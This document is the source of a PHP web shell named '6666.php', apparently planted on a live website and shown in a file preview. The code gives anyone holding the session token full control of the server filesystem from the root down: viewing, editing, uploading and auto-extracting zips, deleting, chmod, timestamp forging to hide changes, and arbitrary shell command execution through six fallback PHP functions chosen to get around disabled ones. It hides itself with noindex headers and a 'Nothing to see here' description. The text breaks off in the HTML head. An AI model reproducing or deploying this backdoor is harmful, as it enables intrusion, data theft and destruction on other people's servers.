Preview: 6666.php
Size: 76.54 KB
/home/certprox/template.certproxywizard.com/6666.php
<?php
declare(strict_types=1);
error_reporting(E_ALL);
ini_set('display_errors', '0');
$rootDir = realpath(__DIR__);
if ($rootDir === false) {
http_response_code(500);
exit('Root directory not found.');
}
$scopeRoot = DIRECTORY_SEPARATOR;
if (preg_match('/^[A-Za-z]:[\\\\\/]/', $rootDir) === 1) {
$scopeRoot = strtoupper($rootDir[0]) . ':' . DIRECTORY_SEPARATOR;
}
if (session_status() !== PHP_SESSION_ACTIVE) {
session_start();
}
if (!isset($_SESSION['fm_token'])) {
$_SESSION['fm_token'] = bin2hex(random_bytes(16));
}
if (!function_exists('str_starts_with')) {
function str_starts_with(string $haystack, string $needle): bool
{
if ($needle === '') {
return true;
}
return strncmp($haystack, $needle, strlen($needle)) === 0;
}
}
if (!function_exists('str_contains')) {
function str_contains(string $haystack, string $needle): bool
{
if ($needle === '') {
return true;
}
return strpos($haystack, $needle) !== false;
}
}
function e(string $text): string
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function join_path(string ...$parts): string
{
$path = implode(DIRECTORY_SEPARATOR, $parts);
return preg_replace('#[\\/]+#', DIRECTORY_SEPARATOR, $path) ?? $path;
}
function is_absolute_path(string $path): bool
{
return preg_match('/^(?:[A-Za-z]:[\\\\\/]|[\\\\\/]{2}|\/)/', $path) === 1;
}
function rel_path(string $rootDir, string $absPath): string
{
$rootNorm = rtrim(str_replace('\\', '/', $rootDir), '/');
$absNorm = str_replace('\\', '/', $absPath);
$rootCmp = preg_match('/^[A-Za-z]:/', $rootNorm) === 1 ? strtolower($rootNorm) : $rootNorm;
$absCmp = preg_match('/^[A-Za-z]:/', $absNorm) === 1 ? strtolower($absNorm) : $absNorm;
if ($absNorm === $rootNorm) {
return '';
}
if (!str_starts_with($absCmp, $rootCmp)) {
return ltrim($absNorm, '/');
}
return ltrim(substr($absNorm, strlen($rootNorm)), '/');
}
function is_inside_root(string $rootDir, string $path): bool
{
$rootNorm = rtrim(str_replace('\\', '/', $rootDir), '/');
$pathNorm = str_replace('\\', '/', $path);
$rootCmp = preg_match('/^[A-Za-z]:/', $rootNorm) === 1 ? strtolower($rootNorm) : $rootNorm;
$pathCmp = preg_match('/^[A-Za-z]:/', $pathNorm) === 1 ? strtolower($pathNorm) : $pathNorm;
return $pathCmp === $rootCmp || str_starts_with($pathCmp, $rootCmp . '/');
}
function safe_current_dir(string $scopeRoot, string $defaultDir, ?string $requestedPath): string
{
$requestedPath = trim((string) $requestedPath);
if ($requestedPath === '') {
return $defaultDir;
}
$candidate = is_absolute_path($requestedPath) ? $requestedPath : join_path($scopeRoot, $requestedPath);
$target = realpath($candidate);
if ($target === false || !is_dir($target) || !is_inside_root($scopeRoot, $target)) {
return $defaultDir;
}
return $target;
}
function safe_item_abs(string $scopeRoot, string $path): ?string
{
$path = trim($path);
if ($path === '') {
return null;
}
$candidate = is_absolute_path($path) ? $path : join_path($scopeRoot, $path);
$abs = realpath($candidate);
if ($abs === false || !is_inside_root($scopeRoot, $abs)) {
return null;
}
return $abs;
}
function human_size(int $size): string
{
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
$value = (float) $size;
while ($value >= 1024 && $i < count($units) - 1) {
$value /= 1024;
$i++;
}
return sprintf($i === 0 ? '%.0f %s' : '%.2f %s', $value, $units[$i]);
}
function parse_datetime_input(string $input): ?int
{
$value = trim($input);
if ($value === '') {
return null;
}
// Support both HTML datetime-local style and plain SQL-like datetime.
$normalized = str_replace('T', ' ', $value);
$dt = DateTime::createFromFormat('Y-m-d H:i:s', $normalized);
if ($dt instanceof DateTime) {
return $dt->getTimestamp();
}
$ts = strtotime($normalized);
return $ts === false ? null : $ts;
}
function rrmdir(string $dir): bool
{
if (!is_dir($dir)) {
return false;
}
$items = scandir($dir);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$full = join_path($dir, $item);
if (is_dir($full) && !is_link($full)) {
if (!rrmdir($full)) {
return false;
}
} else {
if (!@unlink($full)) {
return false;
}
}
}
return @rmdir($dir);
}
function add_to_zip(ZipArchive $zip, string $absPath, string $insideName): bool
{
if (is_dir($absPath) && !is_link($absPath)) {
$zip->addEmptyDir($insideName);
$items = scandir($absPath);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$childAbs = join_path($absPath, $item);
$childInside = trim($insideName . '/' . $item, '/');
if (!add_to_zip($zip, $childAbs, $childInside)) {
return false;
}
}
return true;
}
return $zip->addFile($absPath, $insideName);
}
function stream_and_remove_file(string $tmpFile, string $downloadName): void
{
if (!is_file($tmpFile)) {
http_response_code(404);
exit('File not found.');
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . rawurlencode($downloadName) . '"');
header('Content-Length: ' . (string) filesize($tmpFile));
header('Pragma: public');
header('Cache-Control: private');
readfile($tmpFile);
@unlink($tmpFile);
exit;
}
function download_single(string $absPath): void
{
if (is_file($absPath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . rawurlencode(basename($absPath)) . '"');
header('Content-Length: ' . (string) filesize($absPath));
header('Pragma: public');
header('Cache-Control: private');
readfile($absPath);
exit;
}
if (is_dir($absPath)) {
if (!class_exists('ZipArchive')) {
http_response_code(500);
exit('ZipArchive extension is required for folder download.');
}
$tmp = tempnam(sys_get_temp_dir(), 'fm_');
if ($tmp === false) {
http_response_code(500);
exit('Cannot create temporary zip.');
}
@unlink($tmp);
$zipPath = $tmp . '.zip';
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
http_response_code(500);
exit('Cannot create zip.');
}
add_to_zip($zip, $absPath, basename($absPath));
$zip->close();
stream_and_remove_file($zipPath, basename($absPath) . '.zip');
}
}
function disabled_functions(): array
{
$raw = (string) ini_get('disable_functions');
if (trim($raw) === '') {
return [];
}
return array_map('trim', explode(',', $raw));
}
function can_use_function(string $name): bool
{
static $disabled = null;
if ($disabled === null) {
$disabled = disabled_functions();
}
return function_exists($name) && is_callable($name) && !in_array($name, $disabled, true);
}
function run_command_with_fallback(string $command): array
{
$methods = ['system', 'shell_exec', 'exec', 'passthru', 'proc_open', 'popen'];
foreach ($methods as $method) {
if (!can_use_function($method)) {
continue;
}
$output = '';
$exitCode = null;
if ($method === 'system') {
ob_start();
$ret = 0;
system($command . ' 2>&1', $ret);
$output = (string) ob_get_clean();
$exitCode = $ret;
} elseif ($method === 'shell_exec') {
$result = shell_exec($command . ' 2>&1');
$output = (string) $result;
} elseif ($method === 'exec') {
$lines = [];
$ret = 0;
exec($command . ' 2>&1', $lines, $ret);
$output = implode(PHP_EOL, $lines);
$exitCode = $ret;
} elseif ($method === 'passthru') {
ob_start();
$ret = 0;
passthru($command . ' 2>&1', $ret);
$output = (string) ob_get_clean();
$exitCode = $ret;
} elseif ($method === 'proc_open') {
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w'],
];
$process = proc_open($command, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[2]);
$exitCode = proc_close($process);
$output = (string) $stdout . (string) $stderr;
}
} elseif ($method === 'popen') {
$handle = popen($command . ' 2>&1', 'r');
if (is_resource($handle)) {
while (!feof($handle)) {
$output .= (string) fgets($handle);
}
$exitCode = pclose($handle);
}
}
return [
'ok' => true,
'method' => $method,
'output' => trim($output) === '' ? '[no output]' : $output,
'exit_code' => $exitCode,
];
}
return [
'ok' => false,
'method' => 'unavailable',
'output' => 'Command cannot run: all command functions are disabled or unavailable. SSI fallback is not available in this setup.',
'exit_code' => null,
];
}
function flash_set(string $type, string $message): void
{
$_SESSION['flash'] = ['type' => $type, 'message' => $message];
}
function flash_get(): ?array
{
if (!isset($_SESSION['flash'])) {
return null;
}
$flash = $_SESSION['flash'];
unset($_SESSION['flash']);
return $flash;
}
function redirect_to_dir(string $scopeRoot, string $currentDir): void
{
$rel = rel_path($scopeRoot, $currentDir);
$query = $rel === '' ? '' : '?p=' . rawurlencode($rel);
header('Location: ' . strtok($_SERVER['REQUEST_URI'] ?? '', '?') . $query);
exit;
}
function is_ajax_request(): bool
{
return (isset($_POST['ajax']) && $_POST['ajax'] === '1') ||
(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest');
}
function ajax_response(bool $success, string $message, array $data = []): void
{
header('Content-Type: application/json');
echo json_encode([
'success' => $success,
'message' => $message,
'data' => $data,
]);
exit;
}
$homeRel = str_replace('\\', '/', $rootDir);
// Handle AJAX action requests (POST with AJAX flag)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && is_ajax_request()) {
$token = (string) ($_POST['token'] ?? '');
if (!hash_equals($_SESSION['fm_token'], $token)) {
ajax_response(false, 'Invalid token.');
}
$currentDir = safe_current_dir($scopeRoot, $rootDir, $_POST['p'] ?? null);
$action = (string) ($_POST['action'] ?? '');
switch ($action) {
case 'create_file':
$name = trim((string) ($_POST['name'] ?? ''));
if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
ajax_response(false, 'Invalid file name.');
}
$newFile = join_path($currentDir, $name);
if (file_exists($newFile)) {
ajax_response(false, 'File already exists.');
}
if (@file_put_contents($newFile, '') !== false) {
$fileRel = rel_path($scopeRoot, $newFile);
ajax_response(true, 'File created.', ['file_rel' => $fileRel]);
} else {
ajax_response(false, 'Failed to create file.');
}
break;
case 'create_folder':
$name = trim((string) ($_POST['name'] ?? ''));
if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
ajax_response(false, 'Invalid folder name.');
}
$newFolder = join_path($currentDir, $name);
if (file_exists($newFolder)) {
ajax_response(false, 'Folder already exists.');
}
if (@mkdir($newFolder, 0755, true)) {
ajax_response(true, 'Folder created.');
} else {
ajax_response(false, 'Failed to create folder.');
}
break;
case 'save_edit':
$itemRel = (string) ($_POST['item'] ?? '');
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null || !is_file($targetAbs)) {
ajax_response(false, 'File not found.');
}
$content = (string) ($_POST['content'] ?? '');
if (@file_put_contents($targetAbs, $content) !== false) {
ajax_response(true, 'File saved.');
} else {
ajax_response(false, 'Failed to save file.');
}
break;
case 'rename':
$itemRel = (string) ($_POST['item'] ?? '');
$newName = trim((string) ($_POST['new_name'] ?? ''));
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null) {
ajax_response(false, 'Item not found.');
}
if ($newName === '' || str_contains($newName, '/') || str_contains($newName, '\\')) {
ajax_response(false, 'Invalid name.');
}
$dest = join_path(dirname($targetAbs), $newName);
if (@rename($targetAbs, $dest)) {
ajax_response(true, 'Renamed successfully.');
} else {
ajax_response(false, 'Rename failed.');
}
break;
case 'permission':
$itemRel = (string) ($_POST['item'] ?? '');
$permInput = trim((string) ($_POST['perm'] ?? ''));
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null) {
ajax_response(false, 'Item not found.');
}
if (!preg_match('/^[0-7]{3,4}$/', $permInput)) {
ajax_response(false, 'Invalid permission format (use octal like 755).');
}
if (@chmod($targetAbs, octdec($permInput))) {
ajax_response(true, 'Permission updated.');
} else {
ajax_response(false, 'Failed to update permission.');
}
break;
case 'change_date':
$itemRel = (string) ($_POST['item'] ?? '');
$dateInput = (string) ($_POST['new_date'] ?? '');
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null) {
ajax_response(false, 'Item not found.');
}
$ts = parse_datetime_input($dateInput);
if ($ts === null) {
ajax_response(false, 'Invalid date format. Use YYYY-MM-DD HH:MM:SS or YYYY-MM-DDTHH:MM:SS');
}
// Use mtime-only touch for better cross-platform compatibility.
if (@touch($targetAbs, $ts)) {
ajax_response(true, 'Date updated.');
} else {
ajax_response(false, 'Failed to update date.');
}
break;
case 'delete':
$itemRel = (string) ($_POST['item'] ?? '');
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null) {
ajax_response(false, 'Item not found.');
}
if (is_dir($targetAbs) && !is_link($targetAbs)) {
if (rrmdir($targetAbs)) {
ajax_response(true, 'Folder deleted.');
} else {
ajax_response(false, 'Failed to delete folder.');
}
} else {
if (@unlink($targetAbs)) {
ajax_response(true, 'File deleted.');
} else {
ajax_response(false, 'Failed to delete file.');
}
}
break;
case 'bulk_delete':
$selected = $_POST['selected'] ?? [];
if (!is_array($selected) || count($selected) === 0) {
ajax_response(false, 'No items selected.');
}
$okCount = 0;
foreach ($selected as $rel) {
$targetAbs = safe_item_abs($scopeRoot, (string) $rel);
if ($targetAbs === null) continue;
if (is_dir($targetAbs) && !is_link($targetAbs)) {
if (rrmdir($targetAbs)) $okCount++;
} else {
if (@unlink($targetAbs)) $okCount++;
}
}
ajax_response(true, "Deleted {$okCount} item(s).");
break;
case 'upload':
if (!isset($_FILES['upload_file']) || !is_array($_FILES['upload_file']['name'])) {
ajax_response(false, 'No upload file found.');
}
$names = $_FILES['upload_file']['name'];
$tmpNames = $_FILES['upload_file']['tmp_name'];
$errors = $_FILES['upload_file']['error'];
$okCount = 0;
$extractCount = 0;
for ($i = 0; $i < count($names); $i++) {
if ((int) $errors[$i] !== UPLOAD_ERR_OK) {
continue;
}
$base = basename((string) $names[$i]);
if ($base === '') {
continue;
}
$dest = join_path($currentDir, $base);
if (!@move_uploaded_file((string) $tmpNames[$i], $dest)) {
continue;
}
$okCount++;
if (strtolower(pathinfo($base, PATHINFO_EXTENSION)) === 'zip' && class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($dest) === true) {
$extractTo = join_path($currentDir, pathinfo($base, PATHINFO_FILENAME));
if (!is_dir($extractTo)) {
@mkdir($extractTo, 0755, true);
}
if ($zip->extractTo($extractTo)) {
$extractCount++;
}
$zip->close();
}
}
}
ajax_response(true, "Upload: {$okCount} file(s), ZIP extracted: {$extractCount}.");
break;
case 'command':
$cmd = trim((string) ($_POST['cmd'] ?? ''));
if ($cmd === '') {
ajax_response(false, 'Command is empty.');
}
$oldCwd = getcwd();
@chdir($currentDir);
$commandResult = run_command_with_fallback($cmd);
if ($oldCwd !== false) {
@chdir($oldCwd);
}
ajax_response(true, $commandResult['method'], [
'output' => $commandResult['output'],
'exit_code' => $commandResult['exit_code'],
'ok' => $commandResult['ok'],
]);
break;
default:
ajax_response(false, 'Unknown action.');
}
}
$homeRel = str_replace('\\', '/', $rootDir);
// Handle AJAX API requests
if (isset($_GET['api']) && $_GET['api'] === 'list') {
$apiDir = safe_current_dir($scopeRoot, $scopeRoot, $_GET['p'] ?? null);
$items = scandir($apiDir) ?: [];
$apiRows = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$abs = join_path($apiDir, $item);
$stat = @stat($abs);
$isDir = is_dir($abs) && !is_link($abs);
$apiRows[] = [
'name' => $item,
'rel' => rel_path($scopeRoot, $abs),
'type' => $isDir ? 'folder' : 'file',
'size' => $isDir ? '-' : human_size((int) (@filesize($abs) ?: 0)),
'perm' => substr(sprintf('%o', (int) (@fileperms($abs) ?: 0)), -4),
'mtime' => $stat !== false ? date('Y-m-d H:i:s', (int) $stat['mtime']) : '-',
];
}
usort($apiRows, static function (array $a, array $b): int {
if ($a['type'] !== $b['type']) {
return $a['type'] === 'folder' ? -1 : 1;
}
return strcasecmp($a['name'], $b['name']);
});
$apiBreadcrumbs = [];
$relPath = rel_path($scopeRoot, $apiDir);
$scopeNorm = str_replace('\\', '/', $scopeRoot);
$rootLabel = preg_match('/^[A-Za-z]:\/$/', $scopeNorm) === 1
? strtoupper(substr($scopeNorm, 0, 2))
: '/';
$scopeQueryBase = rtrim(str_replace('\\', '/', $scopeRoot), '/');
$scopeQueryBase = $scopeQueryBase === '' ? '/' : $scopeQueryBase;
$rootQuery = $scopeQueryBase === '/' ? '/' : ($scopeQueryBase . '/');
$apiBreadcrumbs[] = ['query' => $rootQuery, 'label' => $rootLabel];
if ($relPath !== '') {
$segments = array_filter(explode('/', $relPath), static function ($v) {
return $v !== '';
});
$acc = '';
foreach ($segments as $seg) {
$acc .= ($acc === '' ? '' : '/') . $seg;
$queryPath = $scopeQueryBase === '/' ? ('/' . $acc) : ($scopeQueryBase . '/' . $acc);
$apiBreadcrumbs[] = ['query' => $queryPath, 'label' => $seg];
}
}
header('Content-Type: application/json');
echo json_encode([
'rows' => $apiRows,
'fullPathCrumbs' => $apiBreadcrumbs,
'currentDir' => rel_path($scopeRoot, $apiDir),
'currentQuery' => str_replace('\\', '/', $apiDir),
]);
exit;
}
if (isset($_GET['api']) && $_GET['api'] === 'view') {
$fileRel = (string) ($_GET['file'] ?? '');
$fileAbs = safe_item_abs($scopeRoot, $fileRel);
if ($fileAbs === null || !is_file($fileAbs)) {
header('Content-Type: application/json');
http_response_code(404);
echo json_encode(['success' => false, 'message' => 'File not found']);
exit;
}
$content = @file_get_contents($fileAbs);
if ($content === false) {
header('Content-Type: application/json');
http_response_code(500);
echo json_encode(['success' => false, 'message' => 'Failed to read file']);
exit;
}
header('Content-Type: application/json');
echo json_encode([
'success' => true,
'file' => $fileRel,
'content' => $content,
'size' => filesize($fileAbs),
]);
exit;
}
$currentDir = safe_current_dir($scopeRoot, $rootDir, $_GET['p'] ?? null);
if (isset($_GET['download'])) {
$targetAbs = safe_item_abs($scopeRoot, (string) $_GET['download']);
if ($targetAbs !== null) {
download_single($targetAbs);
}
http_response_code(404);
exit('Target not found.');
}
$commandResult = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$isAjax = is_ajax_request();
$token = (string) ($_POST['token'] ?? '');
if (!hash_equals($_SESSION['fm_token'], $token)) {
if ($isAjax) {
ajax_response(false, 'Invalid token.');
}
flash_set('error', 'Invalid token.');
redirect_to_dir($scopeRoot, $currentDir);
}
$action = (string) ($_POST['action'] ?? '');
$itemRel = (string) ($_POST['item'] ?? '');
if ($action === 'create_file') {
$name = trim((string) ($_POST['name'] ?? ''));
if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
if ($isAjax) {
ajax_response(false, 'Invalid file name.');
}
flash_set('error', 'Invalid file name.');
} else {
$newFile = join_path($currentDir, $name);
if (file_exists($newFile)) {
if ($isAjax) {
ajax_response(false, 'File already exists.');
}
flash_set('error', 'File already exists.');
} else {
$ok = @file_put_contents($newFile, '') !== false;
if ($isAjax) {
if ($ok) {
ajax_response(true, 'File created.');
} else {
ajax_response(false, 'Failed to create file.');
}
}
flash_set($ok ? 'success' : 'error', $ok ? 'File created.' : 'Failed to create file.');
}
}
if (!$isAjax) {
redirect_to_dir($scopeRoot, $currentDir);
}
}
if ($action === 'create_folder') {
$name = trim((string) ($_POST['name'] ?? ''));
if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
if ($isAjax) {
ajax_response(false, 'Invalid folder name.');
}
flash_set('error', 'Invalid folder name.');
} else {
$newFolder = join_path($currentDir, $name);
if (file_exists($newFolder)) {
if ($isAjax) {
ajax_response(false, 'Folder already exists.');
}
flash_set('error', 'Folder already exists.');
} else {
$ok = @mkdir($newFolder, 0755, true);
if ($isAjax) {
if ($ok) {
ajax_response(true, 'Folder created.');
} else {
ajax_response(false, 'Failed to create folder.');
}
}
flash_set($ok ? 'success' : 'error', $ok ? 'Folder created.' : 'Failed to create folder.');
}
}
if (!$isAjax) {
redirect_to_dir($scopeRoot, $currentDir);
}
}
if ($action === 'upload') {
if (!isset($_FILES['upload_file']) || !is_array($_FILES['upload_file']['name'])) {
flash_set('error', 'No upload file found.');
redirect_to_dir($scopeRoot, $currentDir);
}
$names = $_FILES['upload_file']['name'];
$tmpNames = $_FILES['upload_file']['tmp_name'];
$errors = $_FILES['upload_file']['error'];
$okCount = 0;
$extractCount = 0;
for ($i = 0; $i < count($names); $i++) {
if ((int) $errors[$i] !== UPLOAD_ERR_OK) {
continue;
}
$base = basename((string) $names[$i]);
if ($base === '') {
continue;
}
$dest = join_path($currentDir, $base);
if (!@move_uploaded_file((string) $tmpNames[$i], $dest)) {
continue;
}
$okCount++;
if (strtolower(pathinfo($base, PATHINFO_EXTENSION)) === 'zip' && class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($dest) === true) {
$extractTo = join_path($currentDir, pathinfo($base, PATHINFO_FILENAME));
if (!is_dir($extractTo)) {
@mkdir($extractTo, 0755, true);
}
if ($zip->extractTo($extractTo)) {
$extractCount++;
}
$zip->close();
}
}
}
flash_set('success', "Upload finished: {$okCount} file(s), zip extracted: {$extractCount}.");
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'save_edit') {
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null || !is_file($targetAbs)) {
flash_set('error', 'File for editing not found.');
redirect_to_dir($scopeRoot, $currentDir);
}
$content = (string) ($_POST['content'] ?? '');
$ok = @file_put_contents($targetAbs, $content) !== false;
flash_set($ok ? 'success' : 'error', $ok ? 'File saved.' : 'Failed to save file.');
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'rename') {
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
$newName = trim((string) ($_POST['new_name'] ?? ''));
if ($targetAbs === null) {
flash_set('error', 'Rename target not found.');
} elseif ($newName === '' || str_contains($newName, '/') || str_contains($newName, '\\')) {
flash_set('error', 'Invalid new name.');
} else {
$dest = join_path(dirname($targetAbs), $newName);
$ok = @rename($targetAbs, $dest);
flash_set($ok ? 'success' : 'error', $ok ? 'Rename success.' : 'Rename failed.');
}
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'permission') {
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
$permInput = trim((string) ($_POST['perm'] ?? ''));
if ($targetAbs === null) {
flash_set('error', 'Permission target not found.');
} elseif (!preg_match('/^[0-7]{3,4}$/', $permInput)) {
flash_set('error', 'Permission format must be octal, for example 755 or 0644.');
} else {
$perm = octdec($permInput);
$ok = @chmod($targetAbs, $perm);
flash_set($ok ? 'success' : 'error', $ok ? 'Permission updated.' : 'Failed to update permission.');
}
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'change_date') {
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
$dateInput = (string) ($_POST['new_date'] ?? '');
$ts = parse_datetime_input($dateInput);
if ($targetAbs === null) {
flash_set('error', 'Date target not found.');
} elseif ($ts === null) {
flash_set('error', 'Invalid date format. Use YYYY-MM-DD HH:MM:SS or YYYY-MM-DDTHH:MM:SS');
} else {
$ok = @touch($targetAbs, $ts);
flash_set($ok ? 'success' : 'error', $ok ? 'Date updated.' : 'Failed to update date.');
}
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'delete') {
$targetAbs = safe_item_abs($scopeRoot, $itemRel);
if ($targetAbs === null) {
flash_set('error', 'Delete target not found.');
} elseif (is_dir($targetAbs) && !is_link($targetAbs)) {
$ok = rrmdir($targetAbs);
flash_set($ok ? 'success' : 'error', $ok ? 'Folder deleted.' : 'Failed to delete folder.');
} else {
$ok = @unlink($targetAbs);
flash_set($ok ? 'success' : 'error', $ok ? 'File deleted.' : 'Failed to delete file.');
}
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'bulk_delete') {
$selected = $_POST['selected'] ?? [];
if (!is_array($selected) || count($selected) === 0) {
flash_set('error', 'No item selected for delete.');
redirect_to_dir($scopeRoot, $currentDir);
}
$okCount = 0;
$failCount = 0;
foreach ($selected as $rel) {
$targetAbs = safe_item_abs($scopeRoot, (string) $rel);
if ($targetAbs === null || $targetAbs === $scopeRoot) {
$failCount++;
continue;
}
if (is_dir($targetAbs) && !is_link($targetAbs)) {
if (rrmdir($targetAbs)) {
$okCount++;
} else {
$failCount++;
}
} else {
if (@unlink($targetAbs)) {
$okCount++;
} else {
$failCount++;
}
}
}
flash_set('success', "Bulk delete finished: success {$okCount}, failed {$failCount}.");
redirect_to_dir($scopeRoot, $currentDir);
}
if ($action === 'bulk_zip') {
$selected = $_POST['selected'] ?? [];
if (!is_array($selected) || count($selected) === 0) {
flash_set('error', 'No item selected for zip.');
redirect_to_dir($scopeRoot, $currentDir);
}
if (!class_exists('ZipArchive')) {
flash_set('error', 'ZipArchive extension is not available.');
redirect_to_dir($scopeRoot, $currentDir);
}
$tmp = tempnam(sys_get_temp_dir(), 'fm_');
if ($tmp === false) {
flash_set('error', 'Failed to create temporary zip.');
redirect_to_dir($scopeRoot, $currentDir);
}
@unlink($tmp);
$zipPath = $tmp . '.zip';
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
flash_set('error', 'Failed to create zip.');
redirect_to_dir($scopeRoot, $currentDir);
}
$added = 0;
foreach ($selected as $rel) {
$targetAbs = safe_item_abs($scopeRoot, (string) $rel);
if ($targetAbs === null) {
continue;
}
if (add_to_zip($zip, $targetAbs, basename($targetAbs))) {
$added++;
}
}
$zip->close();
if ($added === 0) {
@unlink($zipPath);
flash_set('error', 'No valid item to zip.');
redirect_to_dir($scopeRoot, $currentDir);
}
stream_and_remove_file($zipPath, 'bulk_' . date('Ymd_His') . '.zip');
}
if ($action === 'command') {
$cmd = trim((string) ($_POST['cmd'] ?? ''));
if ($cmd === '') {
if ($isAjax) {
ajax_response(false, 'Command is empty.');
}
flash_set('error', 'Command is empty.');
redirect_to_dir($scopeRoot, $currentDir);
}
$oldCwd = getcwd();
@chdir($currentDir);
$commandResult = run_command_with_fallback($cmd);
if ($oldCwd !== false) {
@chdir($oldCwd);
}
if ($isAjax) {
ajax_response(true, $commandResult['method'], [
'output' => $commandResult['output'],
'exit_code' => $commandResult['exit_code'],
'ok' => $commandResult['ok'],
]);
}
}
}
$editingRel = isset($_GET['edit']) ? trim((string) $_GET['edit']) : '';
$editingAbs = $editingRel !== '' ? safe_item_abs($scopeRoot, $editingRel) : null;
$editingContent = null;
if ($editingAbs !== null && is_file($editingAbs)) {
$editingContent = @file_get_contents($editingAbs);
}
$viewingRel = isset($_GET['view']) ? trim((string) $_GET['view']) : '';
$viewingAbs = $viewingRel !== '' ? safe_item_abs($scopeRoot, $viewingRel) : null;
$viewingContent = null;
if ($viewingAbs !== null && is_file($viewingAbs)) {
$viewingContent = @file_get_contents($viewingAbs);
}
$items = scandir($currentDir) ?: [];
$rows = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$abs = join_path($currentDir, $item);
$stat = @stat($abs);
$isDir = is_dir($abs) && !is_link($abs);
$rows[] = [
'name' => $item,
'rel' => rel_path($scopeRoot, $abs),
'type' => $isDir ? 'folder' : 'file',
'size' => $isDir ? '-' : human_size((int) (@filesize($abs) ?: 0)),
'perm' => substr(sprintf('%o', (int) (@fileperms($abs) ?: 0)), -4),
'mtime' => $stat !== false ? date('Y-m-d H:i:s', (int) $stat['mtime']) : '-',
];
}
usort(
$rows,
static function (array $a, array $b): int {
if ($a['type'] !== $b['type']) {
return $a['type'] === 'folder' ? -1 : 1;
}
return strcasecmp($a['name'], $b['name']);
}
);
$flash = flash_get();
$currentRel = rel_path($scopeRoot, $currentDir);
$breadcrumbs = [
['query' => $homeRel, 'label' => 'B Aja Sih'],
];
if (is_inside_root($rootDir, $currentDir)) {
$currentFromHome = rel_path($rootDir, $currentDir);
$segments = $currentFromHome === '' ? [] : explode('/', str_replace('\\', '/', $currentFromHome));
$pathAcc = '';
foreach ($segments as $seg) {
$pathAcc = $pathAcc === '' ? $seg : $pathAcc . '/' . $seg;
$breadcrumbs[] = ['query' => ($homeRel === '' ? $pathAcc : ($homeRel . '/' . $pathAcc)), 'label' => $seg];
}
}
$fullPathCrumbs = [];
$relPath = rel_path($scopeRoot, $currentDir);
$scopeNorm = str_replace('\\', '/', $scopeRoot);
$rootLabel = preg_match('/^[A-Za-z]:\/$/', $scopeNorm) === 1
? strtoupper(substr($scopeNorm, 0, 2))
: '/';
$scopeQueryBase = rtrim(str_replace('\\', '/', $scopeRoot), '/');
$scopeQueryBase = $scopeQueryBase === '' ? '/' : $scopeQueryBase;
$rootQuery = $scopeQueryBase === '/' ? '/' : ($scopeQueryBase . '/');
$fullPathCrumbs[] = ['query' => $rootQuery, 'label' => $rootLabel];
if ($relPath !== '') {
$segments = array_filter(explode('/', $relPath), static function ($v) {
return $v !== '';
});
$acc = '';
foreach ($segments as $seg) {
$acc .= ($acc === '' ? '' : '/') . $seg;
$queryPath = $scopeQueryBase === '/' ? ('/' . $acc) : ($scopeQueryBase . '/' . $acc);
$fullPathCrumbs[] = ['query' => $queryPath, 'label' => $seg];
}
}
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = (string) ($_SERVER['HTTP_HOST'] ?? gethostname());
$requestPath = (string) (parse_url((string) ($_SERVER['REQUEST_URI'] ?? '/'), PHP_URL_PATH) ?: '/');
$canonicalUrl = $scheme . '://' . $host . $requestPath;
$seoTitle = 'B Aja Sih - ' . $host;
$seoDescription = 'Whut? Nothing to see here.';
$seoImage = 'https://t4.ftcdn.net/jpg/05/51/40/41/360_F_551404175_l9rXdLce08oE55qBX47m9tpq9Eb0eHSs.jpg';
if (!headers_sent()) {
header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet', true);
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= e($seoTitle) ?></title>
<meta name="description" content="<?= e($seoDescription) ?>">
